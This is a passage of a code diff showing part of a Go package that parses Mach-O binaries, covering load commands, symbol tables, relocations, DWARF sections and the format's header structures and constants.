symdat := make([]byte, int(hdr.Nsyms)*symsz)
if !memoryMode {
if _, err := r.ReadAt(symdat, int64(hdr.Symoff)); err != nil {
return nil, err
}
} else {
if _, err := r.ReadAt(symdat, (linkeditAddr-textAddr)+(int64(hdr.Symoff)-linkeditOffset)); err != nil {
return nil, err
}
}
st, err := f.parseSymtab(symdat, strtab, cmddat, &hdr, offset)
if err != nil {
return nil, err
}
f.Loads[i] = st
f.Symtab = st
f.Symtab.Symoff = hdr.Symoff
f.Symtab.Stroff = hdr.Stroff
case LoadCmdSignature:
var sigCmd SigBlockCmd
s := bytes.NewReader(cmddat)
if err := binary.Read(s, bo, &sigCmd); err != nil {
return nil, err
}
//fmt.Printf("SigData: %+v\n", sigCmd)
sig := make([]byte, sigCmd.Sigsize)
if _, err := r.ReadAt(sig, int64(sigCmd.Sigoff)); err != nil {
return nil, err
}
var block SigBlock
block.Offset = uint64(sigCmd.Sigoff)
block.Len = sigCmd.Sigsize
block.RawDat = sig
f.SigBlock = &block
f.Loads[i] = LoadBytes(cmddat)
case LoadCmdFuncStarts:
var funcCmd FuncStartsCmd
fsc := bytes.NewReader(cmddat)
if err := binary.Read(fsc, bo, &funcCmd); err != nil {
return nil, err
}
//fmt.Printf("FuncStartsData: %+v\n", funcCmd)
fs := make([]byte, funcCmd.Datasize)
if _, err := r.ReadAt(fs, int64(funcCmd.Dataoff)); err != nil {
return nil, err
}
var funcs FuncStarts
funcs.Offset = uint64(funcCmd.Dataoff)
funcs.Len = funcCmd.Datasize
funcs.RawDat = fs
f.FuncStarts = &funcs
f.Loads[i] = LoadBytes(cmddat)
case LoadCmdDataInCode:
var dataCmd DataInCodeCmd
dcc := bytes.NewReader(cmddat)
if err := binary.Read(dcc, bo, &dataCmd); err != nil {
return nil, err
}
//fmt.Printf("DataInCode: %+v\n", dataCmd)
dc := make([]byte, dataCmd.Datasize)
if _, err := r.ReadAt(dc, int64(dataCmd.Dataoff)); err != nil {
return nil, err
}
var datacode DataInCode
datacode.Offset = uint64(dataCmd.Dataoff)
datacode.Len = dataCmd.Datasize
datacode.RawDat = dc
f.DataInCode = &datacode
f.Loads[i] = LoadBytes(cmddat)
case LoadCmdDylinkInfo:
var dylinkInfoCmd DylinkInfoCmd
dic := bytes.NewReader(cmddat)
if err := binary.Read(dic, bo, &dylinkInfoCmd); err != nil {
return nil, err
}
//fmt.Printf("LoadCmdDylinkInfo: %+v\n", dylinkInfoCmd)
// Copy each section next
var dylinkInfo DylinkInfo
// Rebase deets
if dylinkInfoCmd.Rebasesize > 0 {
if !memoryMode { // this data is in LINKEDIT already
rebase := make([]byte, dylinkInfoCmd.Rebasesize)
if _, err := r.ReadAt(rebase, int64(dylinkInfoCmd.Rebaseoff)); err != nil {
return nil, err
}
dylinkInfo.RebaseDat = rebase
}
dylinkInfo.RebaseLen = dylinkInfoCmd.Rebasesize
dylinkInfo.RebaseOffset = uint64(dylinkInfoCmd.Rebaseoff)
}
// BindingInfo deets
if dylinkInfoCmd.Bindinginfosize > 0 {
if !memoryMode { // this data is in LINKEDIT already
binding := make([]byte, dylinkInfoCmd.Bindinginfosize)
if _, err := r.ReadAt(binding, int64(dylinkInfoCmd.Bindinginfooff)); err != nil {
return nil, err
}
dylinkInfo.BindingInfoDat = binding
}
dylinkInfo.BindingInfoLen = dylinkInfoCmd.Bindinginfosize
dylinkInfo.BindingInfoOffset = uint64(dylinkInfoCmd.Bindinginfooff)
}
// Weak deets
if dylinkInfoCmd.Weakbindingsize > 0 {
if !memoryMode { // this data is in LINKEDIT already
weak := make([]byte, dylinkInfoCmd.Weakbindingsize)
if _, err := r.ReadAt(weak, int64(dylinkInfoCmd.Weakbindingoff)); err != nil {
return nil, err
}
dylinkInfo.WeakBindingDat = weak
}
dylinkInfo.WeakBindingLen = dylinkInfoCmd.Weakbindingsize
dylinkInfo.WeakBindingOffset = uint64(dylinkInfoCmd.Weakbindingoff)
}
// Lazy deets
if dylinkInfoCmd.Lazybindingsize > 0 {
if !memoryMode { // this data is in LINKEDIT already
lazy := make([]byte, dylinkInfoCmd.Lazybindingsize)
if _, err := r.ReadAt(lazy, int64(dylinkInfoCmd.Lazybindingoff)); err != nil {
return nil, err
}
dylinkInfo.LazyBindingDat = lazy
}
dylinkInfo.LazyBindingLen = dylinkInfoCmd.Lazybindingsize
dylinkInfo.LazyBindingOffset = uint64(dylinkInfoCmd.Lazybindingoff)
}
// ExportInfo deets
if dylinkInfoCmd.Exportinfosize > 0 {
if !memoryMode { // this data is in LINKEDIT already
export := make([]byte, dylinkInfoCmd.Exportinfosize)
if _, err := r.ReadAt(export, int64(dylinkInfoCmd.Exportinfooff)); err != nil {
return nil, err
}
dylinkInfo.ExportInfoDat = export
}
dylinkInfo.ExportInfoLen = dylinkInfoCmd.Exportinfosize
dylinkInfo.ExportInfoOffset = uint64(dylinkInfoCmd.Exportinfooff)
}
// Finalize the object
f.DylinkInfo = &dylinkInfo
f.Loads[i] = LoadBytes(cmddat)
case LoadCmdDysymtab:
var hdr DysymtabCmd
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &hdr); err != nil {
return nil, err
}
dat := make([]byte, hdr.Nindirectsyms*4)
if _, err := r.ReadAt(dat, int64(hdr.Indirectsymoff)); err != nil {
return nil, err
}
x := make([]uint32, hdr.Nindirectsyms)
if err := binary.Read(bytes.NewReader(dat), bo, x); err != nil {
return nil, err
}
st := new(Dysymtab)
st.LoadBytes = LoadBytes(cmddat)
st.DysymtabCmd = hdr
st.IndirectSyms = x
f.Loads[i] = st
f.Dysymtab = st
f.Dysymtab.Indirectsymoff = hdr.Indirectsymoff
f.Dysymtab.RawDysymtab = dat
case LoadCmdSegment:
var seg32 Segment32
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &seg32); err != nil {
return nil, err
}
s = new(Segment)
s.LoadBytes = cmddat
s.Cmd = cmd
s.Len = siz
s.Name = cstring(seg32.Name[0:])
s.Addr = uint64(seg32.Addr)
s.Memsz = uint64(seg32.Memsz)
s.Offset = uint64(seg32.Offset)
s.Filesz = uint64(seg32.Filesz)
s.Maxprot = seg32.Maxprot
s.Prot = seg32.Prot
s.Nsect = seg32.Nsect
s.Flag = seg32.Flag
if uint64((seg32.Offset + seg32.Filesz)) > FinalSegEnd {
FinalSegEnd = uint64((seg32.Offset + seg32.Filesz))
}
f.Loads[i] = s
for i := 0; i < int(s.Nsect); i++ {
var sh32 Section32
if err := binary.Read(b, bo, &sh32); err != nil {
return nil, err
}
sh := new(Section)
sh.Name = cstring(sh32.Name[0:])
sh.Seg = cstring(sh32.Seg[0:])
sh.Addr = uint64(sh32.Addr)
sh.Size = uint64(sh32.Size)
sh.Offset = sh32.Offset
sh.Align = sh32.Align
sh.Reloff = sh32.Reloff
sh.Nreloc = sh32.Nreloc
sh.Flags = sh32.Flags
if err := f.pushSection(sh, r); err != nil {
return nil, err
}
}
case LoadCmdSegment64:
var seg64 Segment64
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &seg64); err != nil {
return nil, err
}
s = new(Segment)
s.LoadBytes = cmddat
s.Cmd = cmd
s.Len = siz
s.Name = cstring(seg64.Name[0:])
s.Addr = seg64.Addr
s.Memsz = seg64.Memsz
s.Offset = seg64.Offset
s.Filesz = seg64.Filesz
s.Maxprot = seg64.Maxprot
s.Prot = seg64.Prot
s.Nsect = seg64.Nsect
s.Flag = seg64.Flag
if uint64((seg64.Offset + seg64.Filesz)) > FinalSegEnd {
FinalSegEnd = uint64((seg64.Offset + seg64.Filesz))
}
f.Loads[i] = s
for i := 0; i < int(s.Nsect); i++ {
var sh64 Section64
if err := binary.Read(b, bo, &sh64); err != nil {
return nil, err
}
sh := new(Section)
sh.Name = cstring(sh64.Name[0:])
sh.Seg = cstring(sh64.Seg[0:])
sh.Addr = sh64.Addr
sh.Size = sh64.Size
sh.Offset = sh64.Offset
sh.Align = sh64.Align
sh.Reloff = sh64.Reloff
sh.Nreloc = sh64.Nreloc
sh.Flags = sh64.Flags
if err := f.pushSection(sh, r); err != nil {
return nil, err
}
}
//case LoadCmdUnixThread:
// todo: do we have to support thread_command here for older binaries? or is the LC_MAIN handling backwards compatible?
case LoadCmdMain:
var entryPoint EntryPointCmd
b := bytes.NewReader(cmddat)
if err := binary.Read(b, bo, &entryPoint); err != nil {
return nil, err
}
f.EntryPoint = entryPoint.EntryOff
}
if s != nil {
if !memoryMode {
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.Filesz))
} else {
s.sr = io.NewSectionReader(r, int64(s.Addr), int64(s.Filesz))
}
s.ReaderAt = s.sr
}
}
return f, nil
}
func (f *File) parseSymtab(symdat, strtab, cmddat []byte, hdr *SymtabCmd, offset int64) (*Symtab, error) {
bo := f.ByteOrder
symtab := make([]Symbol, hdr.Nsyms)
b := bytes.NewReader(symdat)
for i := range symtab {
var n Nlist64
if f.Magic == Magic64 {
if err := binary.Read(b, bo, &n); err != nil {
return nil, err
}
} else {
var n32 Nlist32
if err := binary.Read(b, bo, &n32); err != nil {
return nil, err
}
n.Name = n32.Name
n.Type = n32.Type
n.Sect = n32.Sect
n.Desc = n32.Desc
n.Value = uint64(n32.Value)
}
sym := &symtab[i]
if n.Name >= uint32(len(strtab)) {
return nil, &FormatError{offset, "invalid name in symbol table", n.Name}
}
sym.Name = cstring(strtab[n.Name:])
sym.Type = n.Type
sym.Sect = n.Sect
sym.Desc = n.Desc
sym.Value = n.Value
}
st := new(Symtab)
st.LoadBytes = LoadBytes(cmddat)
st.Syms = symtab
st.RawSymtab = symdat
st.RawStringtab = strtab
return st, nil
}
type relocInfo struct {
Addr uint32
Symnum uint32
}
func (f *File) pushSection(sh *Section, r io.ReaderAt) error {
f.Sections = append(f.Sections, sh)
sh.sr = io.NewSectionReader(r, int64(sh.Offset), int64(sh.Size))
sh.ReaderAt = sh.sr
if sh.Nreloc > 0 {
reldat := make([]byte, int(sh.Nreloc)*8)
if _, err := r.ReadAt(reldat, int64(sh.Reloff)); err != nil {
return err
}
b := bytes.NewReader(reldat)
bo := f.ByteOrder
sh.Relocs = make([]Reloc, sh.Nreloc)
for i := range sh.Relocs {
rel := &sh.Relocs[i]
var ri relocInfo
if err := binary.Read(b, bo, &ri); err != nil {
return err
}
if ri.Addr&(1<<31) != 0 { // scattered
rel.Addr = ri.Addr & (1<<24 - 1)
rel.Type = uint8((ri.Addr >> 24) & (1<<4 - 1))
rel.Len = uint8((ri.Addr >> 28) & (1<<2 - 1))
rel.Pcrel = ri.Addr&(1<<30) != 0
rel.Value = ri.Symnum
rel.Scattered = true
} else {
switch bo {
case binary.LittleEndian:
rel.Addr = ri.Addr
rel.Value = ri.Symnum & (1<<24 - 1)
rel.Pcrel = ri.Symnum&(1<<24) != 0
rel.Len = uint8((ri.Symnum >> 25) & (1<<2 - 1))
rel.Extern = ri.Symnum&(1<<27) != 0
rel.Type = uint8((ri.Symnum >> 28) & (1<<4 - 1))
case binary.BigEndian:
rel.Addr = ri.Addr
rel.Value = ri.Symnum >> 8
rel.Pcrel = ri.Symnum&(1<<7) != 0
rel.Len = uint8((ri.Symnum >> 5) & (1<<2 - 1))
rel.Extern = ri.Symnum&(1<<4) != 0
rel.Type = uint8(ri.Symnum & (1<<4 - 1))
default:
panic("unreachable")
}
}
}
}
return nil
}
func cstring(b []byte) string {
i := bytes.IndexByte(b, 0)
if i == -1 {
i = len(b)
}
return string(b[0:i])
}
// Segment returns the first Segment with the given name, or nil if no such segment exists.
func (f *File) Segment(name string) *Segment {
for _, l := range f.Loads {
if s, ok := l.(*Segment); ok && s.Name == name {
return s
}
}
return nil
}
// Section returns the first section with the given name, or nil if no such
// section exists.
func (f *File) Section(name string) *Section {
for _, s := range f.Sections {
if s.Name == name {
return s
}
}
return nil
}
// DWARF returns the DWARF debug information for the Mach-O file.
func (f *File) DWARF() (*dwarf.Data, error) {
dwarfSuffix := func(s *Section) string {
switch {
case strings.HasPrefix(s.Name, "__debug_"):
return s.Name[8:]
case strings.HasPrefix(s.Name, "__zdebug_"):
return s.Name[9:]
default:
return ""
}
}
sectionData := func(s *Section) ([]byte, error) {
b, err := s.Data()
if err != nil && uint64(len(b)) < s.Size {
return nil, err
}
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
dlen := binary.BigEndian.Uint64(b[4:12])
dbuf := make([]byte, dlen)
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
if err != nil {
return nil, err
}
if _, err := io.ReadFull(r, dbuf); err != nil {
return nil, err
}
if err := r.Close(); err != nil {
return nil, err
}
b = dbuf
}
return b, nil
}
// There are many other DWARF sections, but these
// are the ones the debug/dwarf package uses.
// Don't bother loading others.
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
for _, s := range f.Sections {
suffix := dwarfSuffix(s)
if suffix == "" {
continue
}
if _, ok := dat[suffix]; !ok {
continue
}
b, err := sectionData(s)
if err != nil {
return nil, err
}
dat[suffix] = b
}
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
if err != nil {
return nil, err
}
// Look for DWARF4 .debug_types sections.
for i, s := range f.Sections {
suffix := dwarfSuffix(s)
if suffix != "types" {
continue
}
b, err := sectionData(s)
if err != nil {
return nil, err
}
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
if err != nil {
return nil, err
}
}
return d, nil
}
// ImportedSymbols returns the names of all symbols
// referred to by the binary f that are expected to be
// satisfied by other libraries at dynamic load time.
func (f *File) ImportedSymbols() ([]string, error) {
if f.Dysymtab == nil || f.Symtab == nil {
return nil, &FormatError{0, "missing symbol table", nil}
}
st := f.Symtab
dt := f.Dysymtab
var all []string
for _, s := range st.Syms[dt.Iundefsym : dt.Iundefsym+dt.Nundefsym] {
all = append(all, s.Name)
}
return all, nil
}
// ImportedLibraries returns the paths of all libraries
// referred to by the binary f that are expected to be
// linked with the binary at dynamic link time.
func (f *File) ImportedLibraries() ([]string, error) {
var all []string
for _, l := range f.Loads {
if lib, ok := l.(*Dylib); ok {
all = append(all, lib.Name)
}
}
return all, nil
}
+414
View File
@@ -0,0 +1,414 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Mach-O header data structures
// http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
package macho
import "strconv"
// A FileHeader represents a Mach-O file header.
type FileHeader struct {
Magic uint32
Cpu Cpu
SubCpu uint32
Type Type
Ncmd uint32
Cmdsz uint32
Flags uint32
}
const (
fileHeaderSize32 = 7 * 4
fileHeaderSize64 = 8 * 4
)
const (
Magic32 uint32 = 0xfeedface
Magic64 uint32 = 0xfeedfacf
MagicFat uint32 = 0xcafebabe
)
// A Type is the Mach-O file type, e.g. an object file, executable, or dynamic library.
type Type uint32
const (
TypeObj Type = 1
TypeExec Type = 2
TypeDylib Type = 6
TypeBundle Type = 8
)
var typeStrings = []intName{
{uint32(TypeObj), "Obj"},
{uint32(TypeExec), "Exec"},
{uint32(TypeDylib), "Dylib"},
{uint32(TypeBundle), "Bundle"},
}
func (t Type) String() string { return stringName(uint32(t), typeStrings, false) }
func (t Type) GoString() string { return stringName(uint32(t), typeStrings, true) }
// A Cpu is a Mach-O cpu type.
type Cpu uint32
const cpuArch64 = 0x01000000
const (
Cpu386 Cpu = 7
CpuAmd64 Cpu = Cpu386 | cpuArch64
CpuArm Cpu = 12
CpuArm64 Cpu = CpuArm | cpuArch64
CpuPpc Cpu = 18
CpuPpc64 Cpu = CpuPpc | cpuArch64
)
var cpuStrings = []intName{
{uint32(Cpu386), "Cpu386"},
{uint32(CpuAmd64), "CpuAmd64"},
{uint32(CpuArm), "CpuArm"},
{uint32(CpuArm64), "CpuArm64"},
{uint32(CpuPpc), "CpuPpc"},
{uint32(CpuPpc64), "CpuPpc64"},
}
var FinalSegEnd uint64
func (i Cpu) String() string { return stringName(uint32(i), cpuStrings, false) }
func (i Cpu) GoString() string { return stringName(uint32(i), cpuStrings, true) }
// A LoadCmd is a Mach-O load command.
type LoadCmd uint32
const (
LoadCmdSegment LoadCmd = 0x1
LoadCmdSymtab LoadCmd = 0x2
LoadCmdThread LoadCmd = 0x4
LoadCmdUnixThread LoadCmd = 0x5 // thread+stack
LoadCmdDysymtab LoadCmd = 0xb
LoadCmdDylib LoadCmd = 0xc // load dylib command
LoadCmdDylinker LoadCmd = 0xf // id dylinker command (not load dylinker command)
LoadCmdSegment64 LoadCmd = 0x19
LoadCmdSignature LoadCmd = 0x1d
LoadCmdFuncStarts LoadCmd = 0x26 // Function Starts
LoadCmdDataInCode LoadCmd = 0x29 // Data In Code
LoadReqDyld LoadCmd = 0x80000000
LoadCmdMain LoadCmd = (0x28 | LoadReqDyld) // replacement for LC_UNIXTHREAD
LoadCmdRpath LoadCmd = 0x8000001c
LoadCmdDylinkInfo LoadCmd = 0x80000022 // Dynamic Linker Info Only
)
var cmdStrings = []intName{
{uint32(LoadCmdSegment), "LoadCmdSegment"},
{uint32(LoadCmdThread), "LoadCmdThread"},
{uint32(LoadCmdUnixThread), "LoadCmdUnixThread"},
{uint32(LoadCmdDylib), "LoadCmdDylib"},
{uint32(LoadCmdSegment64), "LoadCmdSegment64"},
{uint32(LoadCmdRpath), "LoadCmdRpath"},
{uint32(LoadCmdSignature), "LoadCmdSignature"},
{uint32(LoadCmdFuncStarts), "LoadCmdFuncStarts"},
{uint32(LoadCmdDataInCode), "LoadCmdDataInCode"},
{uint32(LoadCmdDylinkInfo), "LoadCmdDylinkInfo"},
}
func (i LoadCmd) String() string { return stringName(uint32(i), cmdStrings, false) }
func (i LoadCmd) GoString() string { return stringName(uint32(i), cmdStrings, true) }
// Prog.Flag
type ProgFlag uint32
const (
PF_NONE ProgFlag = 0x0 /* None */
PF_R ProgFlag = 0x1 /* Readable. */
PF_W ProgFlag = 0x2 /* Writable. */
PF_X ProgFlag = 0x4 /* Executable. */
)
type (
// A Segment32 is a 32-bit Mach-O segment load command.
Segment32 struct {
Cmd LoadCmd
Len uint32
Name [16]byte
Addr uint32
Memsz uint32
Offset uint32
Filesz uint32
Maxprot uint32 // ProgFlag - Maximum Segment Virtual Memory Protections
Prot uint32 // ProgFlag - Initial Segment Virtual Memory Protections
Nsect uint32
Flag uint32
}
// A Segment64 is a 64-bit Mach-O segment load command.
Segment64 struct {
Cmd LoadCmd
Len uint32
Name [16]byte
Addr uint64
Memsz uint64
Offset uint64
Filesz uint64
Maxprot uint32
Prot uint32
Nsect uint32
Flag uint32
}
// A SigBlockCmd is a Mach-O symbol table command.
SigBlockCmd struct {
Cmd LoadCmd
Len uint32
Sigoff uint32
Sigsize uint32
}
// A SymtabCmd is a Mach-O symbol table command.
SymtabCmd struct {
Cmd LoadCmd
Len uint32
Symoff uint32
Nsyms uint32
Stroff uint32
Strsize uint32
}
// A DysymtabCmd is a Mach-O dynamic symbol table command.
DysymtabCmd struct {
Cmd LoadCmd
Len uint32
Ilocalsym uint32
Nlocalsym uint32
Iextdefsym uint32
Nextdefsym uint32
Iundefsym uint32
Nundefsym uint32
Tocoffset uint32
Ntoc uint32
Modtaboff uint32
Nmodtab uint32
Extrefsymoff uint32
Nextrefsyms uint32
Indirectsymoff uint32
Nindirectsyms uint32
Extreloff uint32
Nextrel uint32
Locreloff uint32
Nlocrel uint32
}
// DylinkerCmd is a load command to identify the dynamic linker
DylinkerCmd struct {
Cmd LoadCmd
Len uint32
Name uint32
}
// A DylibCmd is a Mach-O load dynamic library command.
DylibCmd struct {
Cmd LoadCmd
Len uint32
Name uint32
Time uint32
CurrentVersion uint32
CompatVersion uint32
}
// A FuncStartsCmd is a Mach-O load Function Starts command
FuncStartsCmd struct {
Cmd LoadCmd
Len uint32
Dataoff uint32
Datasize uint32
}
// A DataInCodeCmd is a Mach-O load for Data In Code command
DataInCodeCmd struct {
Cmd LoadCmd
Len uint32
Dataoff uint32
Datasize uint32
}
// A DylinkInfoCmd is a Mach-O load for Dynamic Linker Info Only Command
DylinkInfoCmd struct {
Cmd LoadCmd
Len uint32
Rebaseoff uint32
Rebasesize uint32
Bindinginfooff uint32
Bindinginfosize uint32
Weakbindingoff uint32
Weakbindingsize uint32
Lazybindingoff uint32
Lazybindingsize uint32
Exportinfooff uint32
Exportinfosize uint32
}
// A RpathCmd is a Mach-O rpath command.
RpathCmd struct {
Cmd LoadCmd
Len uint32
Path uint32
}
// A Thread is a Mach-O thread state command.
Thread struct {
Cmd LoadCmd
Len uint32
Type uint32
Data []uint32
}
// A EntryPointCmd is a Mach-O entry point command.
EntryPointCmd struct {
Cmd uint32 /* LC_MAIN only used in MH_EXECUTE filetypes */
CmdSize uint32 /* 24 */
EntryOff uint64 /* file (__TEXT) offset of main() */
StackSize uint64 /* if not zero, initial stack size */
}
)
const (
FlagNoUndefs uint32 = 0x1
FlagIncrLink uint32 = 0x2
FlagDyldLink uint32 = 0x4
FlagBindAtLoad uint32 = 0x8
FlagPrebound uint32 = 0x10
FlagSplitSegs uint32 = 0x20
FlagLazyInit uint32 = 0x40
FlagTwoLevel uint32 = 0x80
FlagForceFlat uint32 = 0x100
FlagNoMultiDefs uint32 = 0x200
FlagNoFixPrebinding uint32 = 0x400
FlagPrebindable uint32 = 0x800
FlagAllModsBound uint32 = 0x1000
FlagSubsectionsViaSymbols uint32 = 0x2000
FlagCanonical uint32 = 0x4000
FlagWeakDefines uint32 = 0x8000
FlagBindsToWeak uint32 = 0x10000
FlagAllowStackExecution uint32 = 0x20000
FlagRootSafe uint32 = 0x40000
FlagSetuidSafe uint32 = 0x80000
FlagNoReexportedDylibs uint32 = 0x100000
FlagPIE uint32 = 0x200000
FlagDeadStrippableDylib uint32 = 0x400000
FlagHasTLVDescriptors uint32 = 0x800000
FlagNoHeapExecution uint32 = 0x1000000
FlagAppExtensionSafe uint32 = 0x2000000
)
// A Section32 is a 32-bit Mach-O section header.
type Section32 struct {
Name [16]byte
Seg [16]byte
Addr uint32
Size uint32
Offset uint32
Align uint32
Reloff uint32
Nreloc uint32
Flags uint32
Reserve1 uint32
Reserve2 uint32
}
// A Section64 is a 64-bit Mach-O section header.
type Section64 struct {
Name [16]byte
Seg [16]byte
Addr uint64
Size uint64
Offset uint32
Align uint32
Reloff uint32
Nreloc uint32
Flags uint32
Reserve1 uint32
Reserve2 uint32
Reserve3 uint32
}
// An Nlist32 is a Mach-O 32-bit symbol table entry.
type Nlist32 struct {
Name uint32
Type uint8
Sect uint8
Desc uint16
Value uint32
}
// An Nlist64 is a Mach-O 64-bit symbol table entry.
type Nlist64 struct {
Name uint32
Type uint8
Sect uint8
Desc uint16
Value uint64
}
// Regs386 is the Mach-O 386 register structure.
type Regs386 struct {
AX uint32
BX uint32
CX uint32
DX uint32
DI uint32
SI uint32
BP uint32
SP uint32
SS uint32
FLAGS uint32
IP uint32
CS uint32
DS uint32
ES uint32
FS uint32
GS uint32
}
// RegsAMD64 is the Mach-O AMD64 register structure.
type RegsAMD64 struct {
AX uint64
BX uint64
CX uint64
DX uint64
DI uint64
SI uint64
BP uint64
SP uint64
R8 uint64
R9 uint64
R10 uint64
R11 uint64
R12 uint64
R13 uint64
R14 uint64
R15 uint64
IP uint64
FLAGS uint64
CS uint64
FS uint64
GS uint64
}
type intName struct {
i uint32
s string
}
func stringName(i uint32, names []intName, goSyntax bool) string {
for _, n := range names {
if n.i == i {
if goSyntax {
return "macho." + n.s
}
return n.s
}
}
return strconv.FormatUint(uint64(i), 10)
}
Loaded 100 of 1633 files, more files were not shown because too many files have changed in this diff. Show more